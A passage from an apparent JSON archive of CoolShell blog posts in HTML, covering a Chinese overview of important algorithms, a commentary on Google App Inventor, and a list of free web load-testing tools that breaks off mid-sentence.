width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-12 一些重要的算法.html",
    "content": "<html><body><p></p>\n<div>\n<p>下面是一些比较重要的算法，<a href=\"http://www.risc.jku.at/people/ckoutsch/stuff/e_algorithms.html\" target=\"_blank\">原文</a>罗列了32个，但我觉得有很多是数论里的，和计算机的不相干，所以没有选取。下面的这些，有的我们经常在用，有的基本不用。有的很常见，有的很偏。不过了解一下也是好事。也欢迎你留下你觉得有意义的算法。（注：本篇文章并非翻译，其中的算法描述大部份摘自Wikipedia，因为维基百科描述的很专业了）<big></big></p>\n<ol>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/A*%E6%90%9C%E5%AF%BB%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>A*搜寻算法</strong><br/>\n</a></big>俗称A星算法。这是一种在图形平面上，有多个节点的路径，求出最低通过成本的算法。常用于游戏中的NPC的移动计算，或线上游戏的BOT的移动计算上。该算法像<a href=\"http://zh.wikipedia.org/zh-cn/Dijkstra%E7%AE%97%E6%B3%95\" target=\"_blank\" title=\"Dijkstra算法\">Dijkstra算法</a>一样，可以找到一条最短路径；也像<a href=\"http://zh.wikipedia.org/zh-cn/BFS\" target=\"_blank\" title=\"BFS\">BFS</a>一样，进行启发式的搜索。</li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/Beam_search\" target=\"_blank\"><strong>Beam Search</strong></a></big><br/>\n束搜索(beam search) 方法是解决优化问题的一种启发式方法,它是在分枝定界方法基础上发展起来的,它使用启发式方法估计k 个最好的路径,仅从这k 个路径出发向下搜索,即每一层只有满意的结点会被保留,其它的结点则被永久抛弃,从而比分枝定界法能大大节省运行时间。束搜索于20 世纪70 年代中期首先被应用于人工智能领域,1976 年Lowerre 在其称为HARPY的语音识别系统中第一次使用了束搜索方法,他的目标是并行地搜索几个潜在的最优决策路径以减少回溯,并快速地获得一个解。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E6%8A%98%E5%8D%8A%E6%90%9C%E7%B4%A2%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>二分取中查找算法</strong></a></big><br/>\n一种在有序数组中查找某一特定元素的搜索算法。搜素过程从数组的中间元素开始，如果中间元素正好是要查找的元素，则搜素过程结束；如果某一特定元素大于或者小于中间元素，则在数组大于或小于中间元素的那一半中查找，而且跟开始一样从中间元素开始比较。这种搜索算法每一次比较都使搜索范围缩小一半。<br/>\n<span id=\"more-2583\"></span></li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/Branch_and_bound\" target=\"_blank\"><strong>Branch and bound</strong></a></big><br/>\n分支定界 (branch and bound) 算法是一种在问题的解空间树上搜索问题的解的方法。但与回溯算法不同，分支定界算法采用广度优先或最小耗费优先的方法搜索解空间树，并且，在分支定界算法中，每一个活结点只有一次机会成为扩展结点。</li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/Data_compression\" target=\"_blank\"><strong>数据压缩</strong></a><br/>\n</big>数据压缩是通过减少计算机中所存储数据或者通信传播中数据的冗余度，达到增大数据密度，最终使数据的存储空间减少的技术。数据压缩在文件存储和分布式系统领域有着十分广泛的应用。数据压缩也代表着尺寸媒介容量的增大和网络带宽的扩展。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/Diffie-Hellman%E5%AF%86%E9%92%A5%E4%BA%A4%E6%8D%A2\" target=\"_blank\"><strong>Diffie–Hellman密钥协商</strong></a><br/>\n</big>Diffie–Hellman key exchange，简称“D–H”， 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道建立起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E8%BF%AA%E7%A7%91%E6%96%AF%E5%BD%BB%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>Dijkstra’s 算法</strong></a><br/>\n</big>迪科斯彻算法（Dijkstra）是由荷兰计算机科学家<a href=\"http://zh.wikipedia.org/zh-cn/%E8%89%BE%E8%8C%B2%E6%A0%BC%C2%B7%E8%BF%AA%E7%A7%91%E6%96%AF%E5%BE%B9\" title=\"艾兹格·迪科斯彻\">艾兹格·迪科斯彻</a>（Edsger Wybe Dijkstra）发明的。算法解决的是有向图中单个源点到其他顶点的最短路径问题。举例来说，如果图中的顶点表示城市，而边上的权重表示著城市间开车行经的距离，迪科斯彻算法可以用来找到两个城市之间的最短路径。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92\" target=\"_blank\"><strong>动态规划</strong></a><br/>\n</big>动态规划是一种在数学和计算机科学中使用的，用于求解包含重叠子问题的<a href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E4%BC%98%E5%8C%96\" title=\"最优化\">最优化</a>问题的方法。其基本思想是，将原问题分解为相似的子问题，在求解的过程中通过子问题的解求出原问题的解。动态规划的思想是多种算法的基础，被广泛应用于计算机科学和工程领域。比较著名的应用实例有：求解<a href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E7%9F%AD%E8%B7%AF%E5%BE%84\" title=\"最短路径\">最短路径</a>问题，<a href=\"http://zh.wikipedia.org/zh-cn/%E8%83%8C%E5%8C%85%E9%97%AE%E9%A2%98\" title=\"背包问题\">背包问题</a>，<a href=\"http://zh.wikipedia.org/zh-cn/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86\" title=\"项目管理\">项目管理</a>，<a href=\"http://zh.wikipedia.org/zh-cn/%E7%BD%91%E7%BB%9C%E6%B5%81\" title=\"网络流\">网络流</a>优化等。这里也有<a href=\"http://www.cnblogs.com/drizzlecrj/archive/2007/10/26/939159.html\" target=\"_blank\">一篇文章</a>说得比较详细。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E8%BC%BE%E8%BD%89%E7%9B%B8%E9%99%A4%E6%B3%95\" target=\"_blank\"><strong>欧几里得算法</strong></a><br/>\n</big>在数学中，辗转相除法，又称欧几里得算法，是求<a href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E5%A4%A7%E5%85%AC%E7%BA%A6%E6%95%B0\" title=\"最大公约数\">最大公约数</a>的算法。辗转相除法首次出现于<a href=\"http://zh.wikipedia.org/zh-cn/%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97\" title=\"欧几里得\">欧几里得</a>的《<a href=\"http://zh.wikipedia.org/zh-cn/%E5%87%A0%E4%BD%95%E5%8E%9F%E6%9C%AC\" title=\"几何原本\">几何原本</a>》（第VII卷，命题i和ii）中，而在中国则可以追溯至东汉出现的《<a href=\"http://zh.wikipedia.org/zh-cn/%E4%B9%9D%E7%AB%A0%E7%AE%97%E6%9C%AF\" title=\"九章算术\">九章算术</a>》。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%80%E5%A4%A7%E6%9C%9F%E6%9C%9B%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>最大期望（EM）算法</strong></a><br/>\n</big>在统计计算中，最大期望（EM）算法是在<a href=\"http://zh.wikipedia.org/zh-cn/%E6%A6%82%E7%8E%87\" title=\"概率\">概率</a>（<a href=\"http://en.wikipedia.org/wiki/probability\" title=\"en:probability\">probabilistic</a>）模型中寻找参数最大似然估计的算法，其中概率模型依赖于无法观测的隐藏变量（<a href=\"http://en.wikipedia.org/wiki/latent_variable\" title=\"en:latent variable\">Latent Variable</a>）。最大期望经常用在<a href=\"http://zh.wikipedia.org/zh-cn/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0\" title=\"机器学习\">机器学习</a>和<a href=\"http://zh.wikipedia.org/zh-cn/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89\" title=\"计算机视觉\">计算机视觉</a>的<a href=\"http://zh.wikipedia.org/zh-cn/%E6%95%B0%E6%8D%AE%E8%81%9A%E7%B1%BB\" title=\"数据聚类\">数据聚类</a>（<a href=\"http://en.wikipedia.org/wiki/data_clustering\" title=\"en:data clustering\">Data Clustering</a>）领域。最大期望算法经过两个步骤交替进行计算，第一步是计算期望（E），利用对隐藏变量的现有估计值，计算其最大似然估计值；第二步是最大化（M），最大化在 E 步上求得的最大似然值来计算参数的值。M 步上找到的参数估计值被用于下一个 E 步计算中，这个过程不断交替进行。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%BF%AB%E9%80%9F%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2\" target=\"_blank\"><strong>快速傅里叶变换</strong></a><strong> (FFT)</strong><br/>\n</big>快速傅里叶变换（Fast Fourier Transform，FFT），是<a href=\"http://zh.wikipedia.org/zh-cn/%E7%A6%BB%E6%95%A3%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2\" title=\"离散傅里叶变换\">离散傅里叶变换</a>的快速算法，也可用于计算离散傅里叶变换的逆变换。快速傅里叶变换有广泛的应用，如<a href=\"http://zh.wikipedia.org/zh-cn/%E6%95%B0%E5%AD%97%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86\" title=\"数字信号处理\">数字信号处理</a>、计算<a href=\"http://zh.wikipedia.org/w/index.php?title=%E5%A4%A7%E6%95%B4%E6%95%B0%E4%B9%98%E6%B3%95&amp;action=edit&amp;redlink=1\" title=\"大整数乘法（尚未撰写）\">大整数乘法</a>、求解<a href=\"http://zh.wikipedia.org/zh-cn/%E5%81%8F%E5%BE%AE%E5%88%86%E6%96%B9%E7%A8%8B\" title=\"偏微分方程\">偏微分方程</a>等等。本条目只描述各种快速算法，对于离散傅里叶变换的性质和应用，请参见<a href=\"http://zh.wikipedia.org/zh-cn/%E7%A6%BB%E6%95%A3%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2\" title=\"离散傅里叶变换\">离散傅里叶变换</a>。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E6%95%A3%E5%88%97%E5%87%BD%E6%95%B8\" target=\"_blank\"><strong>哈希函数</strong></a><br/>\n</big>Hash Function是一种从任何一种数据中创建小的数字“指纹”的方法。该函数将数据打乱混合，重新创建一个叫做散列值的指纹。散列值通常用来代表一个短的随机字母和数字组成的字符串。好的散列函数在输入域中很少出现散列冲突。在散列表和数据处理中，不抑制冲突来区别数据，会使得数据库记录更难找到。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%A0%86%E7%A9%8D%E6%8E%92%E5%BA%8F\" target=\"_blank\"><strong>堆排序</strong></a><br/>\n</big><strong>Heapsort </strong>是指利用<a href=\"http://zh.wikipedia.org/zh-cn/%E5%A0%86_(%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)\" title=\"堆 (数据结构)\">堆积树</a>（<a href=\"http://zh.wikipedia.org/zh-cn/%E5%A0%86_(%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)\" title=\"堆 (数据结构)\">堆</a>）这种数据结构所设计的一种排序算法。堆积树是一个近似<a href=\"http://zh.wikipedia.org/zh-cn/%E5%AE%8C%E5%85%A8%E4%BA%8C%E5%8F%89%E6%A0%91\" title=\"完全二叉树\">完全二叉树</a>的结构，并同时满足<em>堆积属性</em>：即子结点的键值或索引总是小于（或者大于）它的父结点。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F\" target=\"_blank\"><strong>归并排序</strong></a><br/>\n</big><strong>Merge sort</strong>是建立在归并操作上的一种有效的<a href=\"http://zh.wikipedia.org/zh-cn/%E6%8E%92%E5%BA%8F\" title=\"排序\">排序</a><a href=\"http://zh.wikipedia.org/zh-cn/%E7%AE%97%E6%B3%95\" title=\"算法\">算法</a>。该算法是采用<a href=\"http://zh.wikipedia.org/zh-cn/%E5%88%86%E6%B2%BB%E6%B3%95\" title=\"分治法\">分治法</a>（Divide and Conquer）的一个非常典型的应用。</li>\n<li><big><a href=\"http://en.wikipedia.org/wiki/RANSAC\" target=\"_blank\"><strong>RANSAC 算法</strong></a><br/>\n</big>RANSAC 是”RANdom SAmple Consensus”的缩写。该算法是用于从一组观测数据中估计数学模型参数的迭代方法，由Fischler and Bolles在1981 提出，它是一种非确定性算法，因为它只能以一定的概率得到合理的结果，随着迭代次数的增加，这种概率是增加的。 该算法的基本假设是观测数据集中存在”inliers”（那些对模型参数估计起到支持作用的点）和”outliers”（不符合模型的点），并且这组观测数据受到噪声影响。RANSAC 假设给定一组”inliers”数据就能够得到最优的符合这组点的模型。</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-tw/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95\" target=\"_blank\"><strong>RSA加密演算法</strong></a></big><br/>\n这是一个公钥加密算法，也是世界上第一个适合用来做签名的算法。今天的RSA已经专利失效，其被广泛地用于电子商务加密，大家都相信，只要密钥足够长，这个算法就会是安全的</li>\n<li><big><a href=\"http://zh.wikipedia.org/zh-cn/%E5%B9%B6%E6%9F%A5%E9%9B%86\" target=\"_blank\"><strong>并查集Union-find</strong></a><br/>\n</big>并查集是一种树型的数据结构，用于处理一些不相交集合（Disjoint Sets）的合并及查询问题。常常在使用中以森林来表示。</li>\n<li><big><a href=\"http://blog.52nlp.org/hmm-learn-best-practices-six-viterbi-algorithm-1\" target=\"_blank\"><strong>Viterbi algorithm</strong></a><br/>\n</big>寻找最可能的隐藏状态序列(Finding most probable sequence of hidden states)</li>\n</ol>\n<p><strong>附录</strong></p>\n<ul>\n<li>关于这个世界上的算法，你可以看看Wikipedia的这个网页：<a href=\"http://en.wikipedia.org/wiki/List_of_algorithms\">http://en.wikipedia.org/wiki/List_of_algorithms</a></li>\n<li>关于排序算法，你可以看看本站的这几篇文章《<a href=\"https://coolshell.cn/articles/536.html\" rel=\"bookmark\" target=\"_blank\">一个显示排序过程的Python脚本</a>》、《<a href=\"https://coolshell.cn/articles/399.html\" rel=\"bookmark\" target=\"_blank\">一个排序算法比较的网站</a>》</li>\n</ul>\n<p>。</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3933.html\"><img alt=\"可视化的排序过程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/536.html\"><img alt=\"一个显示排序过程的Python脚本\" height=\"150\" src=\"../wp-content/uploads/2009/04/bubble-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/536.html\">一个显示排序过程的Python脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/399.html\"><img alt=\"一个排序算法比较的网站\" height=\"150\" src=\"../wp-content/uploads/2009/04/sort-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4671.html\"><img alt=\"可视化的数据结构和算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2583.html\">一些重要的算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-13 Google App Inventor.html",
    "content": "<html><body><p>Google 本周一发布了一个新的工作可以让任何人创建Android手机应用。这个工具叫<a href=\"http://appinventor.googlelabs.com/\" target=\"_blank\"><strong>Google App Inventor</strong></a>。（目前， App Inventor好像只对教育者开放）Google说：“你不必是一个专业开发人员就能轻松使用App Inventor。使用App Inventor无须掌握编程知识。因为你根本就不需要编写代码，你只需在可视化界面上设计应用的界面，并使用“blocks”指定应用的行为（behavior）。”</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_2610\" style=\"width: 552px;\"><a href=\"http://appinventor.googlelabs.com/\"><img alt=\"\" class=\"size-full wp-image-2610\" height=\"340\" src=\"../wp-content/uploads/2010/07/androidappinventor.jpg\" title=\"Android App Inventor\" width=\"552\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2610\">Google Android App Inventor</figcaption></figure>\n<p>注意，Google说的是任何人，也就是包括那些不会编程的人。这个工具可以将枯燥的代码变成了一块一块的拼图，你需要做的只是把这些零散的拼图按照你自己的意思组合在一起，点击生成，你的第一个 Android 程序就诞生了。这里有一篇来自 <a href=\"http://www.nytimes.com/2010/07/12/technology/12google.html\" target=\"_blank\">纽约时代的报道</a>，《纽约时代》报道称，App Inventor已经在六年级的孩子们中完成测试，他们能够使用App Inventor制作简单的应用。如果你可以访问Youtube的话，你可以看看这个<a href=\"http://www.youtube.com/watch?v=8ADwPLSFeY8\" target=\"_blank\">视频</a>。</p>\n<p><span id=\"more-2608\"></span></p>\n<p>这个想法，这会让 Android 市场不仅对程序开放，而且我们可能看到还有一大批很有创意但不懂编程的人为这个平台添砖加瓦，当然，这也可能会出现很多垃圾应用，正如不会做网页的人用所见即所得的编辑器做出的那些相当ugly劣质网页一样。瑕不蔽玉，就算是有大量的劣质应用的出现，我也相信，同样会涌现出更多更好的应用，那些都是技术人员无法做到的。</p>\n<p>当然，这种想法以前也有，不过仅仅是当玩具玩玩，这回，做这个事的是Google，我不知道他能把这个事情做成什么样？但觉得可能会比较专业。如果只是整成另一个VB的翻版嘛，那就很囧了。</p>\n<p>让我们看看，最终这个玩意，<span style=\"color: #000000;\"><strong>会成为像Dreamweaver或Flash那样把网页开发变成傻瓜化，还是会像VB那样把程序员变成傻瓜</strong></span>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3549.html\"><img alt=\"Android将允许纯C/C++开发应用\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2853.html\"><img alt=\"实用Android开发工具和资源精选\" height=\"150\" src=\"../wp-content/uploads/2010/08/android_dev_01-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2853.html\">实用Android开发工具和资源精选</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1152.html\"><img alt=\"关于 Chrome OS 的一些推论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1152.html\">关于 Chrome OS 的一些推论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-13 十个免费的Web压力测试工具.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-2590\" height=\"180\" src=\"../wp-content/uploads/2010/07/get_more_web_traffic.jpg\" width=\"308\"/>两天，jnj在本站发布了《<a href=\"https://coolshell.cn/articles/2574.html\" rel=\"bookmark\" target=\"_blank\">如何在低速率网络中测试 Web 应用</a>》，那是测试网络不好的情况。而下面是十个免费的可以用来进行Web的负载/压力测试的工具，这样，你就可以知道你的服务器以及你的WEB应用能够顶得住多少的并发量，以及你的网站的性能。我相信，北京奥组委的订票网站的开发团队并不知道有这样的测试工具。</p>\n<p><strong><a href=\"http://grinder.sourceforge.net/\" target=\"_blank\">Grinder</a></strong> –  Grinder是一个开源的JVM负载测试框架，它通过很多负载注射器来为分布式测试提供了便利。 支持用于执行测试脚本的Jython脚本引擎HTTP测试可通过HTTP代理进行管理。根据项目网站的说法，Grinder的 主要目标用户是“理解他们所测代码的人——Grinder不仅仅是带有一组相关响应时间的‘黑盒’测试。由于测试过程可以进行编码——而不是简单地脚本 化，所以程序员能测试应用中内部的各个层次，而不仅仅是通过用户界面测试响应时间。</p>\n<p><strong><a href=\"http://www.pylot.org/\" target=\"_blank\">Pylot</a></strong> -Pylot是一款开源的测试web service性能和扩展性的工具，它运行HTTP 负载测试，这对容量计划，确定基准点，分析以及系统调优都很有用处。Pylot产生并发负载（HTTP Requests），检验服务器响应，以及产生带有metrics的报表。通过GUI或者shell/console来执行和监视test suites。</p>\n<p><a href=\"http://www.iis.net/community/default.aspx?tabid=34&amp;i=1466&amp;g=6\" target=\"_blank\"><strong>Web Capacity Analysis Tool (WCAT)</strong></a> – 这是一种轻量级负载生成实用工具，不仅能够重现对 Web 服务器（或负载平衡服务器场）的脚本 HTTP 请求，同时还可以收集性能统计数据供日后分析之用。WCAT 是多线程应用程序，并且支持从单个源控制多个负载测试客户端，因此您可以模拟数千个并发用户。该实用工具利用您的旧机器作为测试客户端，其中每个测试客户端又可以产生多个虚拟客户端（最大数量取决于客户端机器的网络适配器和其他硬件）。您可以选择使用 HTTP 1.0 还是 HTTP 1.1 请求，以及是否使用 SSL。并且，如果测试方案需要，您还可以使用脚本执行的基本或 NTLM 身份验证来访问站点的受限部分。（如果您的站点使用 cookie、表单或基于会话的身份验证，那您可以创建正确的 GET 或 POST 请求来对测试用户进行身份验证。）WCAT 还可管理您站点可能设置的任何 cookie，所以配置文件和会话信息将永久保存。</p>\n<p><span id=\"more-2589\"></span></p>\n<p><strong><a href=\"http://fwptt.sourceforge.net/index.html\" target=\"_blank\">fwptt</a></strong> – fwptt 也是一个用来进行WEB应用负载测试的工具。它可以记录一般的请求，也可以记录Ajax请求。它可以用来测试 asp.net， jsp， php 或是其它的Web应用。</p>\n<p><strong><a href=\"http://jcrawler.sourceforge.net/\" target=\"_blank\">JCrawler</a></strong> – JCrawler是一个开源(<a href=\"http://www.opensource.org/licenses/cpl.php\" target=\"_blank\"> CPL</a>) 的WEB应用压力测试工具。通过其名字，你就可以知道这是一个用Java写的像网页爬虫一样的工具。只要你给其几个URL，它就可以开始爬过去了，它用一种特殊的方式来产生你WEB应用的负载。这个工具可以用来测试搜索引擎对你站点产生的负载。当然，其还有另一功能，你可以建立你的网站地图和再点击一下，将自动提交Sitemap给前5名的搜索引擎！</p>\n<p><strong><a href=\"http://jakarta.apache.org/jmeter/\" target=\"_blank\">Apache JMeter</a></strong> – Apache JMeter是一个专门为运行和服务器装载测试而设计的、100％的纯Java桌面运行程序。原先它是为Web/HTTP测试而设计的，但是它已经扩展以支持各种各样的测试模块。它和用于HTTP和SQL数据库（使用JDBC）的模块一起运送。它可以用来测试静止资料库或者活动资料库中的服务器的运行情况，可以用来模拟对服务器或者网络系统加以重负荷以测试它的抵抗力，或者用来分析不同负荷类型下的所有运行情况。它也提供了一个可替换的界面用来定制数据显示，测试同步及测试的创建和执行。</p>\n<p><strong><a href=\"http://www.joedog.org/index/siege-home\" target=\"_blank\">Siege</a></strong> -Siege（英文意思是围攻）是一个压力测试和评测工具，设计用于WEB开发这评估应用在压力下的承受能力：可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。 Siege 支持基本的认证，cookies， HTTP 和 HTTPS 协议。</p>\n<p><strong><a href=\"http://www.acme.com/software/http_load/\" target=\"_blank\">http_load</a></strong> – http_load 以并行复用的方式运行，用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具，它可以以一个单一的进程运行，一般不会把客户机搞死。可以可以测试HTTPS类的网站请求。</p>\n<p><strong><a href=\"http://www.web-polygraph.org/\" target=\"_blank\">Web Polygraph</a></strong> – Web Polygraph这个软件也是一个用于测试WEB性能的工具，这个工具是很多公司的标准测试工具，包括微软在分析其软件性能的时候，也是使用这个工具做为基准工具的。很多招聘测试员的广告中都注明需要熟练掌握这个测试工具。</p>\n<p><strong><a href=\"http://opensta.org/\" target=\"_blank\">OpenSTA</a></strong> – OpenSTA是一个免费的、开放源代码的web性能测试工具，能录制功能非常强大的脚本过程，执行性能测试。例如虚拟多个不同的用户同时登陆被测试网站。其还能对录制的测试脚本进行,按指定的语法进行编辑。在录制完测试脚本后，可以对测试脚本进行编辑，以便进行特定的性能指标分析。其较为丰富的图形化测试结果大大提高了测试报告的可阅读性。OpenSTA 基于CORBA 的结构体系，它通过虚拟一个proxy，使用其专用的脚本控制语言，记录通过proxy 的一切HTTP/S 